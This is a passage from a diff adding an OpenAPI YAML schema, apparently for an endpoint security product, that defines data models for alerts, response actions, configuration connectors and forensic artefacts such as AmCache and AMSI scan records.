+      level_int:
+        title: Level int
+        type: integer
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      maturity:
+        minLength: 1
+        title: Maturity
+        type: string
+      missing_related_process:
+        title: Missing related process
+        type: boolean
+      mitre_cells:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      msg:
+        minLength: 1
+        title: Msg
+        type: string
+      network:
+        $ref: '#/definitions/InnerNetwork'
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      process:
+        $ref: '#/definitions/InnerProcess'
+      process_duplicate_handle:
+        $ref: '#/definitions/ECSProcessDuplicateHandle'
+      process_ptrace:
+        $ref: '#/definitions/ECSProcessPtrace'
+      process_session:
+        $ref: '#/definitions/SessionInfo'
+      quarantine:
+        title: Quarantine
+        type: integer
+      quarantined_files:
+        items:
+          $ref: '#/definitions/QuarantinedFile'
+        type: array
+      ransomguard_canary_data:
+        $ref: '#/definitions/RansomguardCanaryData'
+      ransomguard_detection_type:
+        minLength: 1
+        title: Ransomguard detection type
+        type: string
+      ransomguard_heuristic_data:
+        $ref: '#/definitions/RansomguardHeuristicData'
+      references:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rule_content:
+        minLength: 1
+        title: Rule content
+        type: string
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      scheduled_task:
+        $ref: '#/definitions/ECSScheduledTask'
+      score:
+        title: Score
+        type: number
+      sidewatch_detection_details:
+        $ref: '#/definitions/SidewatchDetectionDetails'
+      source:
+        $ref: '#/definitions/ECSSource'
+      stack_trace:
+        $ref: '#/definitions/ECSStackTrace'
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      status_history:
+        items:
+          $ref: '#/definitions/AlertStatusHistory'
+        type: array
+      tags:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      target:
+        $ref: '#/definitions/ECSTarget'
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      thread:
+        $ref: '#/definitions/InnerInjectedThread'
+      threat_key:
+        minLength: 1
+        title: Threat key
+        type: string
+      threat_type:
+        minLength: 1
+        title: Threat type
+        type: string
+      threat_values:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      user:
+        $ref: '#/definitions/ECSUser'
+      user_event:
+        $ref: '#/definitions/InnerUserEvent'
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      whitelisted_by:
+        items:
+          $ref: '#/definitions/WhitelistedByData'
+        type: array
+      win32k_get_async_key_state:
+        $ref: '#/definitions/ECSWin32kGetAsyncKeyState'
+      win32k_register_raw_input_devices:
+        $ref: '#/definitions/ECSWin32kRegisterRawInputDevices'
+      win32k_set_windows_hook_ex:
+        $ref: '#/definitions/ECSWin32kSetWindowsHookEx'
+      windows_service:
+        $ref: '#/definitions/ECSWindowsService'
+      wmi_event:
+        $ref: '#/definitions/WmiEvent'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - aggregation_key
+      - alert_subtype
+      - alert_time
+      - alert_type
+      - alert_unique_id
+      - bpf
+      - confidence
+      - confidence_int
+      - date_closed
+      - date_deisolated
+      - date_false_positive
+      - date_investigating
+      - date_isolated
+      - date_new
+      - destination
+      - detection
+      - detection_date
+      - detection_origin
+      - detection_timestamp
+      - etw_ti_ke_insert_queue_apc
+      - etw_ti_nt_allocate_virtual_memory
+      - etw_ti_nt_map_view_of_section
+      - etw_ti_nt_protect_virtual_memory
+      - etw_ti_nt_read_virtual_memory
+      - etw_ti_nt_set_context_thread
+      - etw_ti_nt_write_virtual_memory
+      - event
+      - execution
+      - group_event
+      - id
+      - image_name
+      - ingestion_date
+      - job_id
+      - last_modifier_id
+      - last_seen
+      - last_status_update_is_automatic
+      - last_update
+      - level
+      - level_int
+      - log_type
+      - maturity
+      - missing_related_process
+      - mitre_cells
+      - msg
+      - process_duplicate_handle
+      - process_ptrace
+      - quarantine
+      - ransomguard_detection_type
+      - references
+      - rule_content
+      - rule_id
+      - rule_name
+      - scheduled_task
+      - score
+      - source
+      - stack_trace
+      - status
+      - tags
+      - target
+      - tenant
+      - threat_key
+      - threat_type
+      - threat_values
+      - user
+      - user_event
+      - username
+      - win32k_get_async_key_state
+      - win32k_register_raw_input_devices
+      - win32k_set_windows_hook_ex
+      - windows_service
+    type: object
+  AlertAggregateResponse:
+    properties:
+      analytics:
+        $ref: '#/definitions/AnalyticObject'
+      data:
+        items:
+          type: integer
+        type: array
+      labels:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      matrix:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      matrix_v2:
+        items:
+          $ref: '#/definitions/MatrixTactic'
+        type: array
+    required:
+      - analytics
+      - data
+      - labels
+      - matrix
+      - matrix_v2
+    type: object
+  AlertDetection:
+    properties:
+      file_hashes:
+        $ref: '#/definitions/Hashes'
+      file_path:
+        minLength: 1
+        title: File path
+        type: string
+    required:
+      - file_hashes
+      - file_path
+    type: object
+  AlertField:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - name
+      - type
+    type: object
+  AlertStatusHistory:
+    properties:
+      action:
+        enum:
+          - add_comment
+          - closed
+          - created
+          - status_update
+          - whitelist_applied
+          - whitelist_unapplied
+        title: Action
+        type: string
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+        x-nullable: true
+      from_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        title: From status
+        type: string
+        x-nullable: true
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      to_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        title: To status
+        type: string
+        x-nullable: true
+      username:
+        minLength: 1
+        title: Username
+        type: string
+        x-nullable: true
+      whitelist_id:
+        minLength: 1
+        title: Whitelist id
+        type: string
+        x-nullable: true
+      whitelist_revision:
+        title: Whitelist revision
+        type: integer
+        x-nullable: true
+    required:
+      - action
+      - timestamp
+    type: object
+  AlertStatusHistoryList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/AlertStatusHistory'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  AlertType:
+    properties:
+      potential_malware:
+        default: 0
+        title: Potential malware
+        type: integer
+      suspicious_behaviour:
+        default: 0
+        title: Suspicious behaviour
+        type: integer
+    type: object
+  AlertWithDynamicFields:
+    properties:
+      agent:
+        $ref: '#/definitions/IndexedInnerAgentDynamicFields'
+      agent_not_found:
+        title: Agent not found
+        type: boolean
+      alert:
+        $ref: '#/definitions/Alert'
+      binary_available:
+        title: Binary available
+        type: boolean
+      correlation_raw_rule:
+        $ref: '#/definitions/CorrelationRule'
+      current_rules_data:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        type: array
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      sigma_raw_rule:
+        $ref: '#/definitions/SigmaRule'
+      yara_raw_rule:
+        $ref: '#/definitions/YaraFile'
+    required:
+      - agent
+      - agent_not_found
+      - alert
+      - binary_available
+    type: object
+  AllAction:
+    properties:
+      IOCScan:
+        $ref: '#/definitions/IOCScan'
+      agentDiagnostic:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Agentdiagnostic
+        type: object
+      agentMinidump:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Agentminidump
+        type: object
+      avScan:
+        $ref: '#/definitions/AVScan'
+      collectRAWEvidences:
+        $ref: '#/definitions/CollectRawEvidences'
+      deleteScheduledTask:
+        items:
+          $ref: '#/definitions/DeleteScheduledTask'
+        type: array
+      deleteService:
+        items:
+          $ref: '#/definitions/DeleteService'
+        type: array
+      downloadDirectory:
+        items:
+          $ref: '#/definitions/DownloadDirectory'
+        type: array
+      downloadFile:
+        items:
+          $ref: '#/definitions/DownloadFile'
+        type: array
+      filepathDeleter:
+        items:
+          $ref: '#/definitions/FilepathDeleter'
+        type: array
+      getHives:
+        $ref: '#/definitions/GetHives'
+      getLoadedDriverList:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getloadeddriverlist
+        type: object
+      getNetworkShare:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getnetworkshare
+        type: object
+      getPipeList:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getpipelist
+        type: object
+      getPrefetch:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getprefetch
+        type: object
+      getProcessList:
+        $ref: '#/definitions/Processes'
+      getQFE:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getqfe
+        type: object
+      getRawWMI:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getrawwmi
+        type: object
+      getScheduledTasks:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getscheduledtasks
+        type: object
+      getSessions:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getsessions
+        type: object
+      getStartupFileList:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getstartupfilelist
+        type: object
+      getWMI:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Getwmi
+        type: object
+      knownProcessFinderKiller:
+        items:
+          $ref: '#/definitions/KnownProcessFinderKiller'
+        type: array
+      listDirectory:
+        items:
+          $ref: '#/definitions/ListDirectory'
+        type: array
+      memoryDumper:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Memorydumper
+        type: object
+      networkDiscovery:
+        items:
+          $ref: '#/definitions/NetworkDiscoveryParam'
+        type: array
+      networkSniffer:
+        $ref: '#/definitions/NetworkSniffer'
+      parseFilesystem:
+        $ref: '#/definitions/ParseFileSystem'
+      persistanceScanner:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Persistancescanner
+        type: object
+      processDumper:
+        $ref: '#/definitions/DumpProcess'
+      profileMemory:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Profilememory
+        type: object
+      quarantineAcquireFile:
+        items:
+          $ref: '#/definitions/AcquireQuarantineFile'
+        type: array
+      quarantineAdd:
+        $ref: '#/definitions/AddToQuarantine'
+      quarantineDelete:
+        items:
+          $ref: '#/definitions/DeleteFromQuarantine'
+        type: array
+      quarantineRestore:
+        items:
+          $ref: '#/definitions/RestoreFromQuarantine'
+        type: array
+      registryOperation:
+        $ref: '#/definitions/RemediationRegops'
+      searchProcessDumper:
+        $ref: '#/definitions/SearchDumpProcess'
+      wildcardProcessFinderKiller:
+        $ref: '#/definitions/WildcardProcessFinderKiller'
+      yaraScan:
+        $ref: '#/definitions/YaraScan'
+    type: object
+  AllConfig:
+    properties:
+      agent_cleaning:
+        $ref: '#/definitions/AgentCleaning'
+      agent_passwords:
+        items:
+          $ref: '#/definitions/AgentPassword'
+        type: array
+      alerter_ioc:
+        $ref: '#/definitions/IOCConfig'
+      assemblyline:
+        $ref: '#/definitions/GetAssemblyline'
+      cape:
+        $ref: '#/definitions/GetCape'
+      collector:
+        $ref: '#/definitions/Collector'
+      connector_misp:
+        $ref: '#/definitions/GetMisp'
+      customization:
+        $ref: '#/definitions/Customization'
+      downloader:
+        $ref: '#/definitions/Downloader'
+      es_ilm_indices__policies:
+        $ref: '#/definitions/ESILMIndicesPolicies'
+      es_indices__replicas:
+        $ref: '#/definitions/ESIndicesReplicas'
+      export:
+        $ref: '#/definitions/GetExport'
+      export_elastic:
+        $ref: '#/definitions/GetExportElastic'
+      export_s3:
+        $ref: '#/definitions/GetExportS3'
+      export_secops:
+        $ref: '#/definitions/GetExportSecops'
+      export_splunk:
+        $ref: '#/definitions/GetExportSplunk'
+      glimps:
+        $ref: '#/definitions/GetGlimps'
+      hibou:
+        $ref: '#/definitions/Hibou'
+      irma:
+        $ref: '#/definitions/GetIrma'
+      ldap_auth:
+        $ref: '#/definitions/GetLDAPAuth'
+      mfa:
+        $ref: '#/definitions/MFA'
+      network_discovery:
+        $ref: '#/definitions/NetWDiscovery'
+      new_threat_aggregation:
+        $ref: '#/definitions/NewThreatAggregation'
+      orion:
+        $ref: '#/definitions/GetOrion'
+      password_security:
+        $ref: '#/definitions/PasswordSecurity'
+      proxy:
+        $ref: '#/definitions/GetProxy'
+      ransomguard:
+        $ref: '#/definitions/Ransomguard'
+      ransomguard_heuristic:
+        $ref: '#/definitions/RansomguardHeuristic'
+      remote_shell:
+        $ref: '#/definitions/RemoteShell'
+      security:
+        $ref: '#/definitions/Security'
+      sidewatch:
+        $ref: '#/definitions/Sidewatch'
+      thehive:
+        $ref: '#/definitions/GetThehive'
+      threat_intelligence:
+        $ref: '#/definitions/ThreatIntelligence'
+      threat_status_binding:
+        $ref: '#/definitions/ThreatStatusBinding'
+      virustotal:
+        $ref: '#/definitions/GetVirusTotal'
+    required:
+      - agent_cleaning
+      - alerter_ioc
+      - assemblyline
+      - cape
+      - collector
+      - connector_misp
+      - customization
+      - downloader
+      - es_ilm_indices__policies
+      - es_indices__replicas
+      - export
+      - glimps
+      - hibou
+      - irma
+      - ldap_auth
+      - mfa
+      - network_discovery
+      - new_threat_aggregation
+      - orion
+      - password_security
+      - proxy
+      - ransomguard
+      - ransomguard_heuristic
+      - remote_shell
+      - security
+      - sidewatch
+      - thehive
+      - threat_intelligence
+      - threat_status_binding
+      - virustotal
+    type: object
+  AllConfigSection:
+    properties:
+      active_directory:
+        items:
+          $ref: '#/definitions/ActiveDirectory'
+        type: array
+        x-nullable: true
+      entra_id:
+        items:
+          $ref: '#/definitions/EntraId'
+        type: array
+        x-nullable: true
+      network_discovery:
+        $ref: '#/definitions/NetworkDiscoveryConfig'
+    type: object
+  AllConfigSectionDownload:
+    properties:
+      config:
+        $ref: '#/definitions/AllConfigSection'
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - config
+    type: object
+  AmCache:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      amcache_type:
+        minLength: 1
+        title: Amcache type
+        type: string
+      appxpackagefullname:
+        minLength: 1
+        title: Appxpackagefullname
+        type: string
+      binarytype:
+        minLength: 1
+        title: Binarytype
+        type: string
+      binfileversion:
+        minLength: 1
+        title: Binfileversion
+        type: string
+      binproductversion:
+        minLength: 1
+        title: Binproductversion
+        type: string
+      bundlemanifestpath:
+        minLength: 1
+        title: Bundlemanifestpath
+        type: string
+      compiledate:
+        format: date-time
+        title: Compiledate
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      install_date:
+        format: date-time
+        title: Install date
+        type: string
+      installdatefromlinkfile:
+        format: date-time
+        title: Installdatefromlinkfile
+        type: string
+      installmethod:
+        minLength: 1
+        title: Installmethod
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      language:
+        title: Language
+        type: integer
+      linkdate:
+        format: date-time
+        title: Linkdate
+        type: string
+      lowercaselongpath:
+        minLength: 1
+        title: Lowercaselongpath
+        type: string
+      manifestpath:
+        minLength: 1
+        title: Manifestpath
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      originalfilename:
+        minLength: 1
+        title: Originalfilename
+        type: string
+      packagefullname:
+        minLength: 1
+        title: Packagefullname
+        type: string
+      programid:
+        minLength: 1
+        title: Programid
+        type: string
+      publisher:
+        minLength: 1
+        title: Publisher
+        type: string
+      registrykeypath:
+        minLength: 1
+        title: Registrykeypath
+        type: string
+      rootdirpath:
+        minLength: 1
+        title: Rootdirpath
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      uninstalldate:
+        format: date-time
+        title: Uninstalldate
+        type: string
+      uninstallstring:
+        minLength: 1
+        title: Uninstallstring
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - amcache_type
+      - appxpackagefullname
+      - binarytype
+      - binfileversion
+      - binproductversion
+      - bundlemanifestpath
+      - compiledate
+      - id
+      - install_date
+      - installdatefromlinkfile
+      - installmethod
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - language
+      - linkdate
+      - lowercaselongpath
+      - manifestpath
+      - name
+      - originalfilename
+      - packagefullname
+      - programid
+      - publisher
+      - registrykeypath
+      - rootdirpath
+      - sha1
+      - size
+      - tenant
+      - type
+      - uninstalldate
+      - uninstallstring
+      - version
+    type: object
+  AmsiScan:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      app_name:
+        minLength: 1
+        title: App name
+        type: string
+      application:
+        enum:
+          - dotnet
+          - jscript
+          - office_vba
+          - other
+          - powershell
+          - vbscript
+          - vss
+          - wmi
+        title: Application
+        type: string
+      content_name:
+        minLength: 1
+        title: Content name
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      text_payload:
+        minLength: 1
+        title: Text payload
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - app_name
+      - application
+      - content_name
+      - groups
+      - id
+      - log_type
+      - pid
+      - process_image_path
+      - process_unique_id
+      - tenant
+      - text_payload
+      - utc_time
+    type: object
+  AnalysisStatus:
+    properties:
+      analysis_status:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+          - 9
+          - 255
+        readOnly: true
+        title: Analysis status
+        type: integer
+      file_availability:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+          - 9
+          - 255
+        readOnly: true
+        title: File availability
+        type: integer
+    type: object
+  AnalyticKeyObject:
+    properties:
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+    required:
+      - rule_name
+    type: object
+  AnalyticObject:
+    properties:
+      doc_count:
+        title: Doc count
+        type: integer
+      key:
+        $ref: '#/definitions/AnalyticKeyObject'
+    required:
+      - doc_count
+      - key
+    type: object
+  AntivirusDetectionDetails:
+    properties:
+      crc64:
+        title: Crc64
+        type: integer
+      file_size:
+        title: File size
+        type: integer
+      file_type:
+        minLength: 1
+        title: File type
+        type: string
+      hashes:
+        $ref: '#/definitions/Hashes'
+      ikarus_version:
+        minLength: 1
+        title: Ikarus version
+        type: string
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      pe_info:
+        $ref: '#/definitions/IndexedPEInfo'
+      signature_id:
+        title: Signature id
+        type: integer
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signature_name:
+        minLength: 1
+        title: Signature name
+        type: string
+      vdb_version:
+        title: Vdb version
+        type: integer
+    required:
+      - crc64
+      - file_size
+      - file_type
+      - hashes
+      - ikarus_version
+      - kind
+      - path
+      - pe_info
+      - signature_id
+      - signature_info
+      - signature_name
+      - vdb_version
+    type: object
+  AntivirusScan:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      detection_time:
+        format: date-time
+        title: Detection time
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      remediation_success:
+        title: Remediation success
+        type: boolean
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      threat_id:
+        minLength: 1
+        title: Threat id
+        type: string
+      threat_status:
+        title: Threat status
+        type: integer
+    required:
+      - '@timestamp'
+      - agent
+      - detection_time
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - path
+      - remediation_success
+      - tenant
+      - threat_id
+      - threat_status
+    type: object
+  AppCertDll:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - controlset
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - path
+      - tenant
+      - timestamp
+    type: object
+  AppCompatInstalledSDB:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      app_install_timestamp:
+        format: date-time
+        title: App install timestamp
+        type: string
+      app_write_timestamp:
+        format: date-time
+        title: App write timestamp
+        type: string
+      appname:
+        minLength: 1
+        title: Appname
+        type: string
+      database_description:
+        minLength: 1
+        title: Database description
+        type: string
+      database_path:
+        minLength: 1
+        title: Database path
+        type: string
+      database_type:
+        minLength: 1
+        title: Database type
+        type: string
+      datatable_install_timestamp:
+        minLength: 1
+        title: Datatable install timestamp
+        type: string
+      guid:
+        minLength: 1
+        title: Guid
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      installed_name:
+        minLength: 1
+        title: Installed name
+        type: string
+      installed_write_timestamp:
+        format: date-time
+        title: Installed write timestamp
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - app_install_timestamp
+      - app_write_timestamp
+      - appname
+      - database_description
+      - database_path
+      - database_type
+      - datatable_install_timestamp
+      - guid
+      - id
+      - installed_name
+      - installed_write_timestamp
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - md5
+      - sha1
+      - sha256
+      - tenant
+      - wow64
+    type: object
+  AppInitDll:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - timestamp
+      - username
+      - value
+      - wow64
+    type: object
+  AppLocationCreate:
+    properties:
+      filter_args:
+        minLength: 1
+        title: Filter args
+        type: string
+        x-nullable: true
+      location_type:
+        enum:
+          - AGENT_DETAIL
+          - AGENT_HOST_PROPERTIES_APPLICATION_DETAIL
+          - AGENT_HOST_PROPERTIES_APPLICATION_LIST
+          - AGENT_HOST_PROPERTIES_DISK_DETAIL
+          - AGENT_HOST_PROPERTIES_DISK_LIST
+          - AGENT_HOST_PROPERTIES_GROUP_DETAIL
+          - AGENT_HOST_PROPERTIES_GROUP_LIST
+          - AGENT_HOST_PROPERTIES_NETWORK_INTERFACE_DETAIL
+          - AGENT_HOST_PROPERTIES_NETWORK_INTERFACE_LIST
+          - AGENT_HOST_PROPERTIES_USER_DETAIL
+          - AGENT_HOST_PROPERTIES_USER_LIST
+          - AGENT_HOST_PROPERTIES_WINDOWS_UPDATE_DETAIL
+          - AGENT_HOST_PROPERTIES_WINDOWS_UPDATE_LIST
+          - AGENT_LIST
+          - HOST_PROPERTIES_APPLICATION_LIST
+          - HOST_PROPERTIES_LOCAL_GROUP_LIST
+          - HOST_PROPERTIES_LOCAL_USER_LIST
+          - HOST_PROPERTIES_SUBNETWORK_LIST
+          - HOST_PROPERTIES_WINDOWS_UPDATE_LIST
+          - POLICY_DETAIL
+          - SECURITY_EVENT_LIST
+          - SECURITY_EVENT_PROCESS_TREE
+          - SECURITY_EVENT_RULE
+          - SECURITY_EVENT_STATIC_ANALYSIS
+          - SECURITY_EVENT_SUMMARY
+          - SECURITY_EVENT_TIMELINE
+          - TELEMETRY_AUTHENTICATION_LINUX_LIST
+          - TELEMETRY_AUTHENTICATION_MACOS_LIST
+          - TELEMETRY_AUTHENTICATION_WINDOWS_LIST
+          - TELEMETRY_BINARY_LIST
+          - TELEMETRY_DNS_RESOLUTION_LIST
+          - TELEMETRY_DRIVER_LOAD_LIST
+          - TELEMETRY_EVENT_LOG_LIST
+          - TELEMETRY_FILE_DOWNLOAD_LIST
+          - TELEMETRY_FILE_LIST
+          - TELEMETRY_INJECTED_THREAD_LIST
+          - TELEMETRY_LIBRARY_LOAD_LIST
+          - TELEMETRY_NAMED_PIPE_LIST
+          - TELEMETRY_NETWORK_LIST
+          - TELEMETRY_NETWORK_LISTEN_LIST
+          - TELEMETRY_POWERSHELL_DETAIL
+          - TELEMETRY_POWERSHELL_LIST
+          - TELEMETRY_PROCESS_ACCESS_LIST
+          - TELEMETRY_PROCESS_GRAPH_DETAIL
+          - TELEMETRY_PROCESS_LIST
+          - TELEMETRY_PROCESS_TAMPER_LIST
+          - TELEMETRY_RAW_DEVICE_ACCESS_LIST
+          - TELEMETRY_RAW_SOCKET_CREATION_LIST
+          - TELEMETRY_REGISTRY_LIST
+          - TELEMETRY_REMOTE_THREAD_LIST
+          - TELEMETRY_TIMELINE_LIST
+          - TELEMETRY_URL_REQUEST_LIST
+          - TELEMETRY_WMI_EVENT_LIST
+          - THREAT_ENDPOINTS
+          - THREAT_INTELLIGENCE_DRIVER_BLOCK_LIST_DETAIL
+          - THREAT_INTELLIGENCE_IOC_DETAIL
+          - THREAT_INTELLIGENCE_SIGMA_DETAIL
+          - THREAT_INTELLIGENCE_YARA_DETAIL
+          - THREAT_LIST
+          - THREAT_RULES
+          - THREAT_SUMMARY
+          - THREAT_USERS
+          - VULNERABILITIES_BY_APP
+          - VULNERABILITIES_BY_CVE
+          - VULNERABILITIES_BY_ENDPOINT
+          - VULNERABILITIES_OVERVIEW
+        title: Location type
+        type: string
+      object_id:
+        minLength: 1
+        title: Object id
+        type: string
+        x-nullable: true
+      section_id:
+        minLength: 1
+        title: Section id
+        type: string
+        x-nullable: true
+    required:
+      - location_type
+    type: object
+  AppLocationRead:
+    properties:
+      api_list_endpoint:
+        readOnly: true
+        title: Api list endpoint
+        type: string
+        x-nullable: true
+      api_retrieve_endpoint:
+        readOnly: true
+        title: Api retrieve endpoint
+        type: string
+        x-nullable: true
+      context_type:
+        enum:
+          - llm_data_request
+          - llm_response
+          - user_provided
+        readOnly: true
+        title: Context type
+        type: string
+      filter_args:
+        minLength: 1
+        readOnly: true
+        title: Filter args
+        type: string
+        x-nullable: true
+      llm_request_trace_id:
+        description: for LLM data requests, the ID of the request provided by the LLM connector. It is unique and logged to help tracing.
+        minLength: 1
+        readOnly: true
+        title: Llm request trace id
+        type: string
+        x-nullable: true
+      location_type:
+        enum:
+          - AGENT_DETAIL
+          - AGENT_HOST_PROPERTIES_APPLICATION_DETAIL
+          - AGENT_HOST_PROPERTIES_APPLICATION_LIST
+          - AGENT_HOST_PROPERTIES_DISK_DETAIL
+          - AGENT_HOST_PROPERTIES_DISK_LIST
+          - AGENT_HOST_PROPERTIES_GROUP_DETAIL
